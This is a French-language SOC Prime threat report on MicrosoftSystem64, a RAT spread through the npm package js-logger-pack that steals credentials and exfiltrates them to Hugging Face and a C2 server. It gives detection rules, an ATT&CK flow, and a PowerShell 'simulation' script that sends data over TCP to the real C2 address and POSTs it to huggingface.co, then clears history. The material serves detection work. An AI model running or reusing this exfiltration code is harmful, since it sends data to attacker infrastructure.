SOC Prime Bias: Critique

03 Jun 2026 16:32 UTC

MicrosoftSystem64 : Un RAT de la chaîne d’approvisionnement exfiltrant des données vers Hugging Face

Author Photo
SOC Prime Team linkedin icon Suivre
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un package npm malveillant nommé js-logger-pack a été utilisé pour distribuer une application exécutable unique Node.js multiplateforme appelée MicrosoftSystem64. Le binaire fonctionne comme un cheval de Troie d’accès à distance complet, capable de voler des extensions de portefeuille de cryptocurrent, des identifiants stockés dans le navigateur, des clés SSH, des données de session Telegram et des captures d’écran. Les informations volées sont exfiltrées par le biais de jeux de données privés de Hugging Face utilisant un jeton d’API compromis, tandis que le trafic de commande-et-contrôle est géré via un serveur WebSocket à 195.201.194.107:8010. La campagne a été liée à un acteur de menace associé à la Corée du Nord qui fait tourner les comptes npm et Hugging Face pour conserver l’accès et soutenir les opérations.

Enquêter

SafeDep a analysé l’échantillon de malware et extrait sa configuration chiffrée par XOR, le point de terminaison de commande-et-contrôle, le jeton Hugging Face, et une liste de plus de 80 IDs d’extension de portefeuille ciblés. Les chercheurs ont également examiné les méthodes de persistance utilisées sur les systèmes Windows, macOS et Linux et reconstruit la chaîne complète d’exfiltration impliquant les API de Hugging Face. Une validation en direct le 28 mai a confirmé que des ensembles de données actifs continuaient de recevoir des captures d’écran et des archives d’identifiants prises à partir de victimes réelles.

Atténuation

Les organisations devraient immédiatement supprimer tout package npm malveillant connu lié à cette campagne, faire tourner les identifiants compromis, les clés SSH, et les graines de portefeuille de cryptocurrent, et surveiller toute activité non autorisée de l’API Hugging Face. Les protections des points de terminaison devraient détecter le nom du processus MicrosoftSystem64 et toute création de tâche planifiée associée. Les contrôles réseau devraient également bloquer le trafic sortant vers l’adresse IP de commande-et-contrôle identifiée et restreindre l’accès inattendu aux points de terminaison Hugging Face à partir de binaires inconnus.

Réponse

Si MicrosoftSystem64 est détecté, isolez immédiatement le système affecté, terminez le processus malveillant, supprimez les fichiers installés et les tâches planifiées, et révoquez le jeton compromis Hugging Face. Les enquêteurs devraient rassembler des preuves médico-légales à partir des journaux et de tout chemin de données exfiltré, puis notifier les parties prenantes concernées et mettre à jour les outils de balayage de dépendance pour bloquer les packages malveillants dans les futures constructions.

graph TB %% Définition des classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Nœuds outils et malware tool_npm[« <b>Outil</b> – paquet npm `js-logger-pack`<br/><b>Description</b> contient le binaire SEA `MicrosoftSystem64` »] class tool_npm tool malware_binary[« <b>Malware</b> – binaire `MicrosoftSystem64`<br/><b>Description</b> ELF multiplateforme empaqueté en SEA Node.js avec configuration chiffrée XOR »] class malware_binary malware infra_c2[« <b>Infrastructure</b> – C2 WebSocket<br/>IP 195.201.194.107 port 8010 »] class infra_c2 infra %% Nœuds d’action init_supply_chain[« <b>Action</b> – <b>T1195.001 compromission de la chaîne d’approvisionnement</b><br/>L’attaquant publie le paquet npm malveillant `js-logger-pack` contenant le binaire SEA »] class init_supply_chain action execution_ingress[« <b>Action</b> – <b>T1105 transfert d’outil entrant</b><br/>La victime installe le paquet et exécute le binaire Node.js intégré »] class execution_ingress action defense_obfuscation[« <b>Action</b> – <b>T1027.009 / T1027.004 fichiers ou informations obfusqués</b><br/>ELF empaqueté en SEA avec configuration XOR chiffrée »] class defense_obfuscation action persistence_mechanisms[« <b>Action</b> – <b>T1547.001 / T1547.014 / T1543.001 / T1543.002 persistance</b><br/>Création de clés Run, Active Setup, LaunchAgent macOS et service systemd Linux »] class persistence_mechanisms action defense_hide[« <b>Action</b> – <b>T1564.014 dissimulation d’artefacts</b> & <b>T1497.002 évasion de sandbox</b><br/>Utilisation d’attributs étendus et vérifications d’activité utilisateur »] class defense_hide action priv_esc[« <b>Action</b> – élévation de privilèges via mécanismes de persistance<br/>Réutilisation de clé Run ou service pour obtenir des privilèges élevés »] class priv_esc action cred_browser[« <b>Action</b> – <b>T1217 découverte des informations navigateur</b> & <b>T1555.003 identifiants navigateur</b><br/>Vol de données Chrome, Edge, Firefox et extensions de portefeuilles crypto »] class cred_browser action keylogging[« <b>Action</b> – <b>T1056.001 keylogging</b><br/>Enregistrement des frappes clavier et du presse-papiers sur Windows/macOS/Linux »] class keylogging action collection_clip_video[« <b>Action</b> – <b>T1115 données presse-papiers</b> & <b>T1125 capture vidéo</b><br/>Captures d’écran toutes les 60 secondes et surveillance du presse-papiers »] class collection_clip_video action collection_db[« <b>Action</b> – <b>T1213.006 données de bases de données</b><br/>Extraction des bases navigateur, clés SSH, Telegram tdata et autres données »] class collection_db action c2_communication[« <b>Action</b> – <b>T1105 communication C2</b><br/>Connexion WebSocket C2 vers 195.201.194.107:8010 »] class c2_communication action exfiltration_hf[« <b>Action</b> – exfiltration via API HuggingFace<br/>Téléversement des données volées vers le compte `jpeek998` »] class exfiltration_hf action impact_resource[« <b>Action</b> – <b>T1496.001 détournement de ressources</b><br/>Vol de credentials de portefeuilles crypto pour usage illégal »] class impact_resource action %% Flux tool_npm –>|livre| malware_binary malware_binary –>|active| init_supply_chain init_supply_chain –>|conduit à| execution_ingress execution_ingress –>|conduit à| defense_obfuscation defense_obfuscation –>|conduit à| persistence_mechanisms persistence_mechanisms –>|active| defense_hide defense_hide –>|active| c2_communication persistence_mechanisms –>|active| priv_esc priv_esc –>|conduit à| cred_browser cred_browser –>|conduit à| keylogging keylogging –>|conduit à| collection_clip_video collection_clip_video –>|conduit à| collection_db collection_db –>|conduit à| c2_communication c2_communication –>|utilise| infra_c2 c2_communication –>|conduit à| exfiltration_hf exfiltration_hf –>|résultat| impact_resource

Flux d’attaque

Détections

Points de persistance possibles [ASEPs – Logiciel/Ruche NTUSER] (via événement de registre)

Équipe SOC Prime
03 Juin 2026

La Possibilité d’Exécution par des Lignes de Commande PowerShell Cachées (via cmdline)

Équipe SOC Prime
03 Juin 2026

Un fichier .desktop Linux a été créé dans un dossier inhabituel (via événement de fichier)

Équipe SOC Prime
03 Juin 2026

Un fichier caché a été créé sur un hôte Linux (via événement de fichier)

Équipe SOC Prime
03 Juin 2026

IOCs (HashSha256) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace

Règles SOC Prime AI
03 Juin 2026

IOCs (SourceIP) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace

Règles SOC Prime AI
03 Juin 2026

IOCs (DestinationIP) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace

Règles SOC Prime AI
03 Juin 2026

Détection de Keylogging SetWindowsHookEx par Malware [Windows Sysmon]

Règles SOC Prime AI
03 Juin 2026

Détection du RAT MicrosoftSystem64 sur les systèmes Linux [Création de processus Linux]

Règles SOC Prime AI
03 Juin 2026

Exfiltration de données du RAT Microsoft System64 via HuggingFace [Connexion réseau Windows]

Règles SOC Prime AI
03 Juin 2026

Détection de l’Exécution et de la Commande PowerShell du RAT MicrosoftSystem64 [Création de processus Windows]

Règles SOC Prime AI
03 Juin 2026

Exécution de Simulation

Prérequis : La Vérification de Prêt de Télémétrie & Base doit avoir réussi.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif de l’Attaque & Commandes :
    Un attaquant a déjà installé le “Microsoft System64 RAT” sur l’hôte Windows compromis. Pour exfiltrer les données volées, le RAT effectue deux actions parallèles :

    1. Canal C2 : Ouvre une socket TCP brute vers le serveur malveillant codé en dur 195.201.194.107 sur le port 8010 et diffuse les données encodées en base-64.
    2. Exfil HTTP Covert : Émet une requête HTTPS POST à https://huggingface.co/api/upload avec les mêmes données intégrées dans le corps de la requête, utilisant un agent-utilisateur à apparence légitime pour se fondre dans le trafic normal.

    Les deux actions génèrent des événements de pare-feu sortants qui correspondent à la règle Sigma.

  • Script de Test de Régression :

    # -------------------------------------------------
    # Simulation d'Exfiltration du RAT System64 (PowerShell)
    # -------------------------------------------------
    # 1. Préparer des données d'exfil amoins
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. Envoyer les données via TCP brut (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] TCP exfil envoyé à $c2Ip:$c2Port"
    } catch {
        Write-Error "[-] Échec de la connexion TCP : $_"
    }
    
    # 3. Envoyer les données via HTTPS vers HuggingFace (exfil en cachette)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] Exfil HTTP envoyé à huggingface.co"
    } catch {
        Write-Error "[-] Échec de la requête HTTP : $_"
    }
  • Commandes de Nettoyage :

    # Supprimer tout artefact réseau restant
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Effacer l'historique PowerShell (optionnel)
    Clear-History